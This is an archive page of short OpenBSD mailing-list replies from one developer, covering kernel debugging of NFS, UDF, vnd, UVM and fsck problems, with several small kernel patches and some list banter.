Re: ordered OBSD cd set.

2013-01-22 Thread Pedro Martelletto

I order from my home, in Brasil!


i've ordered a couple of openbsd cds from brazil (rio) in the past and
it wasn't unusual for the shipment to take longer than 6 months to be
delivered; i.e after the next version of openbsd had been tagged. :)

-p.



Re: kill.c correctness

2011-06-02 Thread Pedro Martelletto
> If I'm right, can I send a diff?

You don't need to be right to send a diff (been there, done that).

-p.



Re: growfs(8) -- FFS2 question

2008-12-24 Thread Pedro Martelletto
On Wed, Dec 24, 2008 at 01:06:17AM -0500, Ted Unangst wrote:
> As a general matter, I'm a bit of a downer on ffs2 because I think
> it's the wrong solution.  FFS was (and is) great for its problem
> domain, but outside the comfort zone it's not so hot.

there's always the possibility of trying to make it comfortable, or
proposing a better solution. :-)

-p.



Re: 4.4: crash in uvm_aiodone_daemon

2008-11-11 Thread Pedro Martelletto
What was the actual panic message?

-p.



Re: uvm_fault under load

2008-11-10 Thread Pedro Martelletto
This issue is likely to have been addressed by the reliability fix #005,
as seen on http://www.openbsd.org/errata44.html.

-p.



Re: How to copy an entire directory to my home directory

2008-08-14 Thread Pedro Martelletto
On Thu, Aug 14, 2008 at 12:40:38PM -0700, Johan Beisser wrote:
> man cp(1)

You're all apparently missing out on a great tool called "GHome Mover"
(http://www.brookepeig.com/ghomemover/). I know the guy said he is
logging in from remote, but it is definitely worth the effort having X
installed on your server and tunneled through SSH just to use this
absolutely revolutionary tool!

-p.



Re: r/w on NTFS system

2007-06-24 Thread Pedro Martelletto
On Sun, Jun 24, 2007 at 04:26:18PM +0800, Alex Kwan wrote:
> Can I read and write on NTFS system under OpenBSD?

>From 'man mount_ntfs':

Warning: do not mount NTFS filesystems read-write.  The write support is
not very useful and is not tested well.  It's not safe to write to any
file on NTFS; you might damage the filesystem.  Unless you want to debug
NTFS filesystem code, mount the NTFS filesystem read-only.

-p.



Re: shutdown gets stuck at `syncing discs...'

2007-04-23 Thread Pedro Martelletto
If you can still reproduce the problem with the latest snapshot, please
break into ddb, use 'ps' to see the PID of the 'reboot' process, and get
us the output of 'tr /p 0t'.

-p.



Re: panic on fresh snap (was: [ppc] Daily digest, Issue 573 (1 messages))

2007-03-31 Thread Pedro Martelletto
See [EMAIL PROTECTED]

-p.



Re: Saving memory on small machines

2007-03-22 Thread Pedro Martelletto
On Thu, Mar 22, 2007 at 12:09:04PM -0600, Bob Beck wrote:
>   How can you call it a low water mark art? I wasn't speechless,
> I laughed my ass off. I needed the humor this morning, I'm hung 
> over and spent the morning in a stupid meeting. That message made
> my day.

Because what was `early morning good laugh' to you was probably 'end of
day utter deception' for him. :-)

-p.



Re: two servers (4.0 and 3.9) constantly keep freezing

2007-02-26 Thread Pedro Martelletto
On Mon, Feb 26, 2007 at 11:36:38AM +0100, Sebastian Reitenbach wrote:
> I found this thread, where someone has seen the same problem:
> http://marc.theaimsgroup.com/?l=openbsd-tech&m=115959929717470&w=2
(...)
> Is there anything else I can do to keep the machines up and running?

Unfortunately, no. Nothing has changed since the above thread.

-p.



Re: OpenBSD 3.9 (i386) and mount_udf - big problem

2007-01-30 Thread Pedro Martelletto
On Tue, Jan 30, 2007 at 11:46:31AM +, Andreas Kahari wrote:
> udf_mountfs(): 0, 1

Okay, I know how to fix this. The problem is, unless you volunteer to
test a whole set of diffs, some of which will probably crash your box, I
need access to the disc. Another problem is, I don't have any DVD drive.
Or a CD drive for that matter. Is the data on the disc dd'able, in terms
of length and content?

-p.



Re: OpenBSD 3.9 (i386) and mount_udf - big problem

2007-01-30 Thread Pedro Martelletto
Andreas,

On Tue, Jan 30, 2007 at 09:55:28AM +, Andreas Kahari wrote:
> The patch will make the machine not lock up, but it still doesn't
> mount the DVD disc.  This time, I get no messages from the kernel in
> /var/log/messages, but I get the error message "mount_udf: mount:
> Invalid argument" in the console.

Can you please try this diff, so that we know the exact point of
failure? (It should apply over your already patched udf_vfsops.c.)

Thanks,

-p.

--- udf_vfsops.c.orig   Tue Jan 30 11:50:58 2007
+++ udf_vfsops.cTue Jan 30 11:51:52 2007
@@ -327,6 +327,7 @@ udf_mountfs(struct vnode *devvp, struct 
}
 
if (!part_found || !logvol_found) {
+   printf("udf_mountfs(): %d, %d\n", part_found, logvol_found);
error = EINVAL;
goto bail;
}



Re: OpenBSD 3.9 (i386) and mount_udf - big problem

2007-01-29 Thread Pedro Martelletto
Andreas,

On Mon, Jan 29, 2007 at 09:45:14AM +, Andreas Kahari wrote:
> I had the same problem ("FSD does not lie within the partition!" when
> trying to mount a UDF DVD disc).  I applied the patch below from Pedro
> to a current i386 system, but that resulted in a locked system
> (everything waiting in 'inode') when trying to mount the disc again.

Sorry about that, the diff had a little mistake. Could you please try
this one?

Thanks,

-p.

Index: udf_vfsops.c
===
RCS file: /cvs/src/sys/isofs/udf/udf_vfsops.c,v
retrieving revision 1.23
diff -u -p -r1.23 udf_vfsops.c
--- udf_vfsops.c7 Aug 2006 15:50:42 -   1.23
+++ udf_vfsops.c29 Jan 2007 10:13:02 -
@@ -305,10 +305,19 @@ udf_mountfs(struct vnode *devvp, struct 
}
pd = (struct part_desc *)bp->b_data;
if (!udf_checktag(&pd->tag, TAGID_PARTITION)) {
-   part_found = 1;
part_num = letoh16(pd->part_num);
+   /*
+* Until we fully support multiple partitions, do the
+* best we can by trying to find a partition that
+* matches the file set descriptor we got above.
+*/
+   if (fsd_part && fsd_part != part_num) {
+   brelse(bp);
+   continue;
+   }
ump->um_len = letoh32(pd->part_len);
ump->um_start = letoh32(pd->start_loc);
+   part_found = 1;
}
 
brelse(bp); 



Re: OT Re: 'database filesystems'

2007-01-10 Thread Pedro Martelletto
On Wed, Jan 10, 2007 at 10:23:31PM +0100, chefren wrote:
> A few people mail things like "submit a patch" but those simple minds 
> don't understand that there is nothing to patch here.

those are usually the minds that make openbsd possible

anyway, i will shut up and wait for the day you have code for your new
file system, then i will be glad to participate in the discussion :-)

good luck and have a nice day,

-p.

(who recently discovered the wonders of the 'delete' button in mutt)



Re: OT Re: 'database filesystems'

2007-01-10 Thread Pedro Martelletto
On Wed, Jan 10, 2007 at 02:47:16PM +, Brian Candler wrote:
> On Wed, Jan 10, 2007 at 09:21:45AM +0900, Mathieu Sauve-Frankel wrote:
> > Could you guys please take this completely useless discussion off-list ?
> > It has absolutely zero value to anyone running or developing OpenBSD.
> 
> Well, maybe there is something useful that can be salvaged :-)

unless there's a diff included, no.

-p.



Re: Repeat panic every 20 minutes with spamd enable

2006-12-27 Thread Pedro Martelletto
Do you see anything unusual on dmesg?

-p.



Re: NFS very slow in 4.0

2006-11-12 Thread Pedro Martelletto
On Sun, Nov 12, 2006 at 04:32:27PM +0100, Federico Giannici wrote:
> Now that the DNS problem is solved, it SEEMS that the problem with NFS 
> is reduced.

Interesting... let me know what else you find out.

> 1) Is NFS activity in some way related to DNS?

Not really. Well, both go through the network. :-)

> Anyway it could be that my "mail delivery" program depends on DNS, and 
> so it delayed the delivery...

Possibly.

> 2) Is it possible that, if a certain number of processes are already 
> using NFS, subsequent attempts by other processes is STOPPED, until some 
> other process RELEASE the use of NFS???

Not the use of NFS, but of certain resources. It's like that all over
the kernel.

> If this is true, what I can do to increase the number of concurrent 
> processes writing via NFS?
> I increased "vfs.nfs.iothreads" to 20, but it seems not be enough...

Well, it would be nice to have real locking for NFS, so some polling
constructions could be avoided. But given the amount of people
interested in helping, that's too far of a goal.

So yeah, try bumping that for now, if you feel the server (and the
network) are comfortable with the load.

-p.



Re: NFS very slow in 4.0

2006-11-12 Thread Pedro Martelletto
On Sun, Nov 12, 2006 at 02:31:59PM +0100, Federico Giannici wrote:
> The NEOMEDIA kernel is GENERIC with the following two options (I used 
> them in 3.9 to avoid kernel freezes):
> maxusers 64
> option NKMEMPAGES_MAX=32768

These problems are still there, so keep using them.

-p.



Re: NFS very slow in 4.0

2006-11-12 Thread Pedro Martelletto
On Sun, Nov 12, 2006 at 01:59:47PM +0100, Federico Giannici wrote:
> Is there any case that makes NFS in 4.0 read the listing of a directory?

Yes, the getcwd() change. I wonder if it exposed any other bug in our
NFS code (as it did in the past, but those got fixed, since they were
reported).

Anyway, I'm working on trying to find a reason for what you're seeing,
along with a fix. Can you please provide a dmesg?

-p.



Re: NFS very slow in 4.0

2006-11-12 Thread Pedro Martelletto
On Sun, Nov 12, 2006 at 10:46:17AM +0100, Federico Giannici wrote:
> There have been changes in 4.0 that can explain this behavior?

No.

> Is there something I can do to solve it?

Try playing with the NIC. See if you get the same amount of throughput
with 4.0 that you got with 3.9.

-p.



Re: specified device does not match mounted device

2006-10-30 Thread Pedro Martelletto
On Mon, Oct 30, 2006 at 10:40:53PM +0100, Ingo Schwarze wrote:
> The improvement was committed more than a month before we
> discussed the point...  Somewhat amazing, i must say...
> Apparently, reading source-changes@ is useful when trying
> to answer questions.   :-/

Sorry for not warning you guys about this. I thought I had done so.

-p.



Re: Ralink broken after last update

2006-10-30 Thread Pedro Martelletto
On Mon, Oct 30, 2006 at 01:06:14PM +0200, Erki Malling wrote:
> I'm running Canyon CN-WF511 wireless PCI card (Ralink RT2561S)
> in hostap mode in my 30m2 flat, serving one laptop next room.
> The wireless quality has always been less than stellar, even
> when few meters from the OpenBSD box antenna. But it works for
> reading mail and news and thats all that matters in this case.
> 
> Unfortunately, after updating last week (I'm following -current)
> things got a bit worse. When in the same room with the AP, it works
> as craptastically as before, but further away (say 5 meters and a
> concrete wall between) things slowly cripple to the point when laptop
> can't even find the AP.
> 
> Long story short, looks like this update is to blame here:
> 
> replace rssadapt(9) with amrr for automatic rate control.
> as a side-effect, this should fix all the "bogus xmit rate" panics
> users have been complaining about for some time when operating in
> HostAP mode.
> 
> I grabbed previous versions of relevant files from cvsweb and
> rebuilt the kernel.
> 
> Things work well now.

I am having exactly the same problem. As you stated, backing out the
AMMR commit fixes it.

In case more people are seeing this, here is a diff that does the
backout, for testing purposes:

http://www2.par.inf.puc-rio.br/~pedro/ral-backout.diff

-p.



Re: my harddrive or latest snapshots problem?

2006-10-19 Thread Pedro Martelletto
On Thu, Oct 19, 2006 at 08:08:02PM +, Didier Wiroth wrote:
> bdwrite: force async write on the buffer 0xd8003f20

That's just a diff's debug message. Nothing to be concerned about.

-p.



Re: Question About low cost CD's

2006-10-03 Thread Pedro Martelletto
What's more effective in this case is pressuring local vendors so _they_
get to import the CDs. If you prove them there's a reasonable consumer
market, then they certainly will try to make the CDs available.

Vendors know the process. Vendors can negotiate and get cheaper prices.
Vendors can arrange for cheaper shipping. Vendors can pressure the local
government for less extorsive taxes.

There are many different countries out there, each with a distinct
reality, government and legislation. Unfortunately, there's nothing much
OpenBSD can do to workaround the requirements needed for the CD to reach
your tray beyond making it available for order.

But vendors can.

-p.



Re: feature req: vnconfig should work on readonly fs; round 3

2006-09-19 Thread Pedro Martelletto
On Mon, Sep 11, 2006 at 03:59:45PM +, Paul Stoeber wrote:
> Let's see if I can get this closer to right.
> The patch is against and tested on -current.
> Thank you, Pedro, for your help.

Paul,

Here's a slightly revised version of your patch. It would be nice to
have a couple of test reports on it (from people on misc@).

-p.

Index: sys/dev/vnd.c
===
RCS file: /cvs/src/sys/dev/vnd.c,v
retrieving revision 1.62
diff -u -p -r1.62 vnd.c
--- sys/dev/vnd.c   13 Aug 2006 17:55:07 -  1.62
+++ sys/dev/vnd.c   19 Sep 2006 15:40:17 -
@@ -142,6 +142,9 @@ struct vnd_softc {
 #defineVNF_HAVELABEL   0x0400
 #defineVNF_BUSY0x0800
 #defineVNF_SIMPLE  0x1000
+#defineVNF_READONLY0x2000
+
+#defineVNDRW(v)((v)->sc_flags & VNF_READONLY ? FREAD : 
FREAD|FWRITE)
 
 struct vnd_softc *vnd_softc;
 int numvnd = 0;
@@ -234,6 +237,11 @@ vndopen(dev, flags, mode, p)
if ((error = vndlock(sc)) != 0)
return (error);
 
+   if ((flags & FWRITE) && (sc->sc_flags & VNF_READONLY)) {
+   error = EROFS;
+   goto bad;
+   }
+
if ((sc->sc_flags & VNF_INITED) &&
(sc->sc_flags & VNF_HAVELABEL) == 0) {
sc->sc_flags |= VNF_HAVELABEL;
@@ -817,20 +825,26 @@ vndioctl(dev, cmd, addr, flag, p)
}
 
/*
-* Always open for read and write.
-* This is probably bogus, but it lets vn_open()
-* weed out directories, sockets, etc. so we don't
-* have to worry about them.
+* Open for read and write first. This lets vn_open() weed out
+* directories, sockets, etc. so we don't have to worry about
+* them.
 */
NDINIT(&nd, LOOKUP, FOLLOW, UIO_USERSPACE, vio->vnd_file, p);
-   if ((error = vn_open(&nd, FREAD|FWRITE, 0)) != 0) {
+   vnd->sc_flags &= ~VNF_READONLY; 
+   error = vn_open(&nd, FREAD|FWRITE, 0);
+   if (error == EROFS) {
+   vnd->sc_flags |= VNF_READONLY;
+   error = vn_open(&nd, FREAD, 0);
+   }
+   if (error) {
vndunlock(vnd);
return (error);
}
+
error = VOP_GETATTR(nd.ni_vp, &vattr, p->p_ucred, p);
if (error) {
VOP_UNLOCK(nd.ni_vp, 0, p);
-   (void) vn_close(nd.ni_vp, FREAD|FWRITE, p->p_ucred, p);
+   (void) vn_close(nd.ni_vp, VNDRW(vnd), p->p_ucred, p);
vndunlock(vnd);
return (error);
}
@@ -838,7 +852,7 @@ vndioctl(dev, cmd, addr, flag, p)
vnd->sc_vp = nd.ni_vp;
vnd->sc_size = btodb(vattr.va_size);/* note truncation */
if ((error = vndsetcred(vnd, p->p_ucred)) != 0) {
-   (void) vn_close(nd.ni_vp, FREAD|FWRITE, p->p_ucred, p);
+   (void) vn_close(nd.ni_vp, VNDRW(vnd), p->p_ucred, p);
vndunlock(vnd);
return (error);
}
@@ -851,7 +865,7 @@ vndioctl(dev, cmd, addr, flag, p)
 
if ((error = copyin(vio->vnd_key, key,
vio->vnd_keylen)) != 0) {
-   (void) vn_close(nd.ni_vp, FREAD|FWRITE,
+   (void) vn_close(nd.ni_vp, VNDRW(vnd),
p->p_ucred, p);
vndunlock(vnd);
return (error);
@@ -1087,7 +1101,7 @@ vndclear(vnd)
vnd->sc_flags &= ~VNF_INITED;
if (vp == (struct vnode *)0)
panic("vndioctl: null vp");
-   (void) vn_close(vp, FREAD|FWRITE, vnd->sc_cred, p);
+   (void) vn_close(vp, VNDRW(vnd), vnd->sc_cred, p);
crfree(vnd->sc_cred);
vnd->sc_vp = (struct vnode *)0;
vnd->sc_cred = (struct ucred *)0;
Index: usr.sbin/vnconfig/vnconfig.c
===
RCS file: /cvs/src/usr.sbin/vnconfig/vnconfig.c,v
retrieving revision 1.18
diff -u -p -r1.18 vnconfig.c
--- usr.sbin/vnconfig/vnconfig.c1 Jul 2006 07:36:27 -   1.18
+++ usr.sbin/vnconfig/vnconfig.c19 Sep 2006 15:40:17 -
@@ -226,9 +226,9 @@ config(char *dev, char *file, int action
char *rdev;
int rv;
 
-   if (opendev(dev, O_RDWR, OPENDEV_PART, &rdev) < 0)
+   if (opendev(dev, O_RDONLY, OPENDEV_PART, &rdev) < 0)
err(4, "%s", rdev);
-   f = fopen(rdev, "rw");
+   f = fopen(rdev, "r");
if (f == NULL) {
warn("%s", rdev);
rv = -1;



Re: fsck hangs

2006-09-14 Thread Pedro Martelletto
On Wed, Sep 13, 2006 at 10:46:17PM +0200, Han Boetes wrote:
>  24912 fsck_ffs GIO   fd 4 wrote 32 bytes
>"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
>  24912 fsck_ffs RET   write 16384/0x4000
>  24912 fsck_ffs CALL  munmap(0x861e3000,0x4000)
>  24912 fsck_ffs RET   munmap 0
>  24912 fsck_ffs CALL  munmap(0x7fb46000,0x1000)
>  24912 fsck_ffs RET   munmap 0
>  24912 fsck_ffs CALL  munmap(0x7c747000,0x4000)
>  24912 fsck_ffs RET   munmap 0
>  24912 fsck_ffs CALL  close(0x3)
>  24912 fsck_ffs RET   close 0
>  24912 fsck_ffs CALL  close(0x4)
>  24912 fsck_ffs RET   close 0
>  24912 fsck_ffs CALL  exit(0xc)
> 
> Is this what you are looking for?

Yes, thanks. Is there any 'lseek' before this write?

-p.



Re: fsck hangs

2006-09-13 Thread Pedro Martelletto
On Wed, Sep 13, 2006 at 08:57:25PM +0200, Han Boetes wrote:
> Pedro Martelletto wrote:
> > Thanks. It would be nice to have this information for the USB
> > threads as well. A ktrace of fsck_ffs (just the last few lines)
> > and the output of 'disklabel sd0' would also be welcome. :-)

Thanks, but this ktrace is not really of interest. :-( I was more
interested in fsck_ffs (not fsck) to see which location of the disk it's
hanging when trying to perform I/O on.

-p.

>  30369 fsck CALL  fork()
>  30369 fsck RET   fork 31511/0x7b17
>  30369 fsck CALL  wait4(0x7b17,0xcf7e8690,0,0)



Re: fsck hangs

2006-09-13 Thread Pedro Martelletto
On Wed, Sep 13, 2006 at 04:38:40PM +0159, Han Boetes wrote:
> I assume you request the relevant lines:
> 
>   UID   PID  PPID CPU PRI  NI   VSZ   RSS WCHAN   STAT TT   TIME COMMAND
> 0 32054  1087   0  10   0   348 4 wait   IW+   p50:00.01 fsck -fy 
> /dev/sd0a
> 0  2545 32054   4  -5   0 88552 88368 physio DL+   p50:00.77 fsck_ffs 
> -f -y /dev/sd0a

Thanks. It would be nice to have this information for the USB threads as
well. A ktrace of fsck_ffs (just the last few lines) and the output of
'disklabel sd0' would also be welcome. :-)

-p.



Re: fsck hangs

2006-09-13 Thread Pedro Martelletto
On Wed, Sep 13, 2006 at 02:19:36PM +0200, Han Boetes wrote:
> umass0: BBB bulk-in stall clear failed, IOERROR
> umass0: BBB bulk-in stall clear failed, IOERROR
> umass0: BBB bulk-in stall clear failed, IOERROR

These look highly suspicious, but just for the sake of it, can you
please provide the output of 'ps aklwx'?

-p.



Re: a question about concurrency

2006-09-09 Thread Pedro Martelletto
On Sun, Sep 10, 2006 at 05:08:49AM +, Paul Stoeber wrote:
> Quoting sys/dev/vnd.c rev 1.62:
> 
>   1121/*
>   1122 * Wait interruptibly for an exclusive lock.
>   1123 *
>   1124 * XXX
>   1125 * Several drivers do this; it should be abstracted and made 
> MP-safe.
>   1126 */
>   1127int
>   1128vndlock(sc)
>   1129struct vnd_softc *sc;
>   1130{
>   1131int error;
>   1132
>   1133while ((sc->sc_flags & VNF_LOCKED) != 0) {
>   1134sc->sc_flags |= VNF_WANTED;
>   1135if ((error = tsleep(sc, PRIBIO | PCATCH, 
> "vndlck", 0)) != 0)
>   1136return (error);
>   1137}
>   1138sc->sc_flags |= VNF_LOCKED;
>   1139return (0);
>   1140}
> 
> Is it possible for a process to have the cpu taken away from it
> between lines 1137 and 1138?

Yes, by an unmasked interrupt, not by another process.

> If so, is the comment "Several drivers do this" serious?

Not really. The comment assumes processes can simultaneously be executed
in kernel mode on different processors. This is not the case in OpenBSD
(for most parts of the code).

-p.



Re: sharing ffs filesystems between NetBSD and OpenBSD

2006-09-06 Thread Pedro Martelletto
On Wed, Sep 06, 2006 at 09:53:43AM +0200, Igor Sobrado wrote:
> but certainly diverging disklabels can explain the problem I outlined
> in the first message to this thread

Uh, yes, maybe. I didn't read it, to be honest. I just looked at the Ted
mail you were pointed at. That's definitely talking about different
superblocks. :-)

-p.



Re: sharing ffs filesystems between NetBSD and OpenBSD

2006-09-06 Thread Pedro Martelletto
How could I possibly have missed that question...

On Tue, Sep 05, 2006 at 11:13:06AM +0200, Igor Sobrado wrote:
> By the way, when will ffs2 be available in OpenBSD?  From the changelogs
> I see that there is some work being done in preparation for ffs2, these
> are excellent news.

Kernel support is near completion, 4.1 is likely to ship with it.
However, that's not enough. There's still a lot of work to do.

Basically, it's an equation of very few people hacking on stuff and a
lot of whine-only slackers who, for some obscure reason, prefer to
ignore and not test file system diffs.

-p.



Re: sharing ffs filesystems between NetBSD and OpenBSD

2006-09-05 Thread Pedro Martelletto
On Tue, Sep 05, 2006 at 07:24:55PM +0200, Igor Sobrado wrote:
> Indeed, it is a BSD disklabel related problem not a ffs's one.

It *is* a FFS problem. The superblocks are different.

-p.



Re: The future of NetBSD

2006-08-31 Thread Pedro Martelletto
On Thu, Aug 31, 2006 at 08:01:49PM -0300, Marc G. Fournier wrote:
>  In a perfect world, they all would ... this is not a perfect world, it is 
> one dominated by Linux or Microsoft ... I use Adaptec drivers on 3 of my 
> servers, because, in 4.x, they were rock solid ... in 6.x, they have a 
> problem ... I'd like to be able to go out and upgrade those servers to a 
> vendor that provides "documentation", but its a cost I can't afford at 
> this time ... so, should I then switch to Linux because they do welcome 
> 'vendor written drivers'?  Rhetorical question, since I do not consider 
> switching to Linux an option ... instead, I'm trying to do something to 
> help *BSD advocates promote *BSD to those vendors (see 
> http://www.bsdstats.org) by showing them that we aren't just a 'hobbiest 
> operating system' ... what my point is, though, is if we aren't willing to 
> accept 'vendor written drivers', then it is *we* that are limiting our 
> growth but limiting what hardware we can run stably on ...

A 'hobbiest' operating system is one which makes no demands, accepting
whatever the vendors want it to. And it's not a matter of promoting *BSD
to the vendors. It's a matter of vendors promoting their products by
providing clear, concise documentation, demonstrating the quality and
correctness of their products.

We should not wait for a perfect world to make correct decisions.

-p.



Re: The future of NetBSD

2006-08-31 Thread Pedro Martelletto
On Thu, Aug 31, 2006 at 06:50:00PM -0300, Marc G. Fournier wrote:
> Even at the kernel level?  Look at device drivers and vendors as one 
> example ... companies like adaptec have to write *one* device driver, for, 
> what, 50+ distributions of linux ... for us, they need to write one for 
> FreeBSD, one for NetBSD, one for OpenBSD, and *now* one for DragonflyBSD 
> ... if we had *at least* a common API for that sort of stuff, it might be 
> asier to get support at the vendor level, no?

Vendors should release documentation, not write drivers.

-p.



Re: Cluestick request

2006-08-28 Thread Pedro Martelletto
>   Specifically, what is the data pointer/length field in buf
> structs? Looking at sys/buf.h, it appears that b_un.b_addr is the
> data pointer, and b_bcount is the length.

You're right.

> Trying to trace system calls to confirm my suspicion, I become
> catatonic at the amount of indirection inherent in the VFS code.

You took the most difficult path :-) Just look at getblk() and
allocbuf() in vfs_bio.c and this should be clear.

-p.



Re: Code beautifiers, anyone?

2006-08-24 Thread Pedro Martelletto
> The OpenBSD developers spend a lot of time making code fit what they 
> call "KNF" -- Kernel Normal Form, documented in style(7)

style(9)

-p.



Re: Data from partition where lost!

2006-08-21 Thread Pedro Martelletto
Were you running with softdep?

-p.



Re: 3.9 freeze

2006-08-19 Thread Pedro Martelletto
> I cannot declare that the problem is solved... but I had no more freezes 
> since I'm using a custom GENERIC kernel with doubled "NKMEMPAGES_MAX" 
> and "maxusers", both with the i386 and the amd64 machines.
>
> But consider that this happened only 7 and 10 days ago...

It has been approximately a month now. How have your boxes been doing?

-p.



Re: UFS2 support

2006-08-10 Thread Pedro Martelletto
On Thu, Aug 10, 2006 at 08:12:59AM -0500, Roger Midmore wrote:
> I was wondering who, if anyone, was working on supporting UFS2?

I was, and plan to be again, as time permits.

-p.



Re: 3.9 freeze

2006-07-29 Thread Pedro Martelletto
Any news on this?

-p.



Re: Looking to start developing OpenBSD

2006-07-26 Thread Pedro Martelletto
On Wed, Jul 26, 2006 at 12:19:45PM -0700, Nick Price wrote:
> What are some good tasks that need to be done that someone isn't
> currently working on?

Searching the archives :-)

-p.



Re: 3.9 freeze

2006-07-20 Thread Pedro Martelletto
On Thu, Jul 20, 2006 at 06:07:16PM +0200, Federico Giannici wrote:
> It seems to me that under amd64 the "UVM Amap" usage is much higher then 
> under i386. So, even if by default the limit is the double of the i386, 
> it seems not enough.

That's probably because the code allocates in multiples of sizeof(long),
which is twice as bigger in 64-bit architectures than on 32-bit.

I still have to do the math correctly, but the default limit may even
not be enough for some i386 systems with gigantic amounts of memory.

Ideally, the kernel should have a smarter way of setting the limit for
malloc() in kmeminit(), perhaps based on physmem, or on the ability of
growing its memory mapping dynamically, as needed.

-p.



Re: 3.9 freeze

2006-07-18 Thread Pedro Martelletto
On Tue, Jul 18, 2006 at 07:34:00PM +0200, Federico Giannici wrote:
> I'm not sure of what variables to set and where.

options(4) should tell you that.

-p.



Re: 3.9 freeze

2006-07-18 Thread Pedro Martelletto
Federico,

Your diagnosis is correct, that freeze can be the result of reaching the
limit for UVM amap allocations. These get used by the kernel to describe
anonymous memory mappings, and mmap malloc() puts the UVM subsystem
under a higher load of those, eventually reaching the limit. Until an
appropriate solution is found, you can try bumping the number of pages
in the kernel's memory map (NKMEMPAGES).

-p.



Re: 3.9 freeze

2006-07-13 Thread Pedro Martelletto
On Thu, Jul 13, 2006 at 05:39:40PM +0200, Federico Giannici wrote:
> I have noticed that the above "UVM amap" HighUse value is equal to the 
> Limit value.

Indeed it looks suspicious. Not my area, though, so I'd have to look at
the code to know the exact consequences. But yes, it's a possibility.

Perhaps Mickey or Ted can enlighten us?

-p.



Re: 3.9 freeze

2006-07-13 Thread Pedro Martelletto
The next time it freezes, break into ddb and get the output of 'show
uvmexp'.

-p.



Re: Reading a file that is been written make the system freeze?

2006-07-05 Thread Pedro Martelletto
Do you see anything unusual in the dmesg?

-p.



Re: 3.9 freeze

2006-07-03 Thread Pedro Martelletto
Can you break into ddb?

-p.



Re: nfsroot + ral firmware load -> panic

2006-06-26 Thread Pedro Martelletto
Can you please try this diff?

-p.

Index: firmload.c
===
RCS file: /cvs/src/sys/dev/firmload.c,v
retrieving revision 1.7
diff -u -p -r1.7 firmload.c
--- firmload.c  19 Jan 2006 17:49:50 -  1.7
+++ firmload.c  26 Jun 2006 13:42:23 -
@@ -83,7 +83,7 @@ loadfirmware(const char *name, u_char **
uio.uio_rw = UIO_READ;
uio.uio_procp = p;
 
-   error = VOP_READ(nid.ni_vp, &uio, 0, NOCRED);
+   error = VOP_READ(nid.ni_vp, &uio, 0, p->p_ucred);
 
if (error == 0) {
*bufp = ptr;



Re: Reading a file that is been written make the system freeze?

2006-06-22 Thread Pedro Martelletto
On Thu, Jun 22, 2006 at 03:59:30PM +0200, Federico Giannici wrote:
> I commented the "ddb.panic=0", but nothing changed.

can you try setting ddb.console=1, and after the box freezes, see if
ctrl+alt+esc gets you in ddb?

> I have read that now you are "Italian", do you speak italian too?  ;-)

nope :( though i plan to learn it someday.

-p.



Re: Reading a file that is been written make the system freeze?

2006-06-22 Thread Pedro Martelletto
On Thu, Jun 22, 2006 at 03:25:41PM +0200, Federico Giannici wrote:
> >>Yesterday another PC freezed!
> 
> It just crashed again!

did it freeze or did it crash?

can you try breaking into ddb?

-p.



Re: SMP

2006-06-22 Thread Pedro Martelletto
i've had ufs2 done (well, the kernel part) on my laptop for almost six
months now :) most of it is in, although, as joachim pointed you to,
some essential parts had to be backed out cause compatibility with old
tools was broken, which is just not acceptable in openbsd.

and that was totally my fault. first, i naively thought compatibility
could be reached between the three bsds super blocks. in addition, there
was a bug in the tree for like two or three days i thought nobody would
hit the window of (and so i fixed it without warning anyone).

the result was that theo hit it, and that wasn't exactly what i would
call a pleasant experience. some changes were then backed out, and until
someone decides to join me on this effort, i've decided to temporarily
stop hacking on it.
 
(not to say that, to actually make use of all the room ufs2 gets us, we
would need to bump daddr_t to 64 bits, and that is a whole new story...)

-p.



Re: OpenBSD 3.9 (i386) and mount_udf - big problem

2006-06-18 Thread Pedro Martelletto
Can you please try this diff?

-p.

Index: udf_vfsops.c
===
RCS file: /cvs/src/sys/isofs/udf/udf_vfsops.c,v
retrieving revision 1.7
diff -u -p -r1.7 udf_vfsops.c
--- udf_vfsops.c14 Jun 2006 16:40:15 -  1.7
+++ udf_vfsops.c18 Jun 2006 13:54:15 -
@@ -331,10 +331,17 @@ udf_mountfs(struct vnode *devvp, struct 
}
pd = (struct part_desc *)bp->b_data;
if (!udf_checktag(&pd->tag, TAGID_PARTITION)) {
-   part_found = 1;
part_num = letoh16(pd->part_num);
+   /*
+* Until we fully support multiple partitions, do the
+* best we can by trying to find a partition that
+* matches the file set descriptor we got above.
+*/
+   if (fsd_part && fsd_part != part_num)
+   continue;
udfmp->part_len = letoh32(pd->part_len);
udfmp->part_start = letoh32(pd->start_loc);
+   part_found = 1;
}
 
brelse(bp); 



Re: Weird sizes in df output

2006-06-12 Thread Pedro Martelletto
He also said the superblocks are different, so you can't expect anything
(df, mount, fsck) to work.

-p.



Re: Weird sizes in df output

2006-06-12 Thread Pedro Martelletto
Please read again what Ted wrote.

-p.



Re: Problems trying to mount partition.

2006-05-11 Thread Pedro Martelletto
On Thu, May 11, 2006 at 02:27:56PM +0100, Nick Guenther wrote:
> Odd. How could he use it for backup before then? Or did he just never
> use it before?

Probably the latter :-)

-p.



Re: Problems trying to mount partition.

2006-05-11 Thread Pedro Martelletto
On Thu, May 11, 2006 at 02:01:00PM +0100, Nick Guenther wrote:
> The disklabel shows that the parition type is 'unused'. It must be set
> to '4.4BSD'. You can do this from in disklabel, of course. BUT, I
> think this indicates some bigger problem: what killed your disklabel?
> Are you sure this is really the disk you think it is?

There was probably never a disklabel... looks like he forgot to
initialize the disk.

-p.



Re: Panic: biodone already

2006-04-20 Thread Pedro Martelletto
The raid(4) codebase is old, unmaintained, and known to have issues.

That's one of the reasons it's not in the stock kernel.

-p.



Re: Google Summer of Code

2006-04-16 Thread Pedro Martelletto
Indeed. If the intention was to only cover northern countries, "Summer
of Cold" might have been a more appropriate name. :-)

-p.



Re: Google Summer of Code

2006-04-16 Thread Pedro Martelletto
Too bad summer is gone...

-p.



Re: Odd "df" reporting (On Apr 3 snapshot, data copied via 3.8snapshot)

2006-04-09 Thread Pedro Martelletto
It would be wise to actually force the checking by specifying -f.

-p.



Re: openbsd and the money

2006-03-23 Thread Pedro Martelletto
On Thu, Mar 23, 2006 at 04:03:58PM +0100, frantisek holop wrote:
> i never did try to present this as absolute truth, all the mail is
> my personal opinion.

Okay, thanks for clarifying that.

-p.



Re: openbsd and the money

2006-03-23 Thread Pedro Martelletto
On Thu, Mar 23, 2006 at 03:09:08PM +0100, frantisek holop wrote:
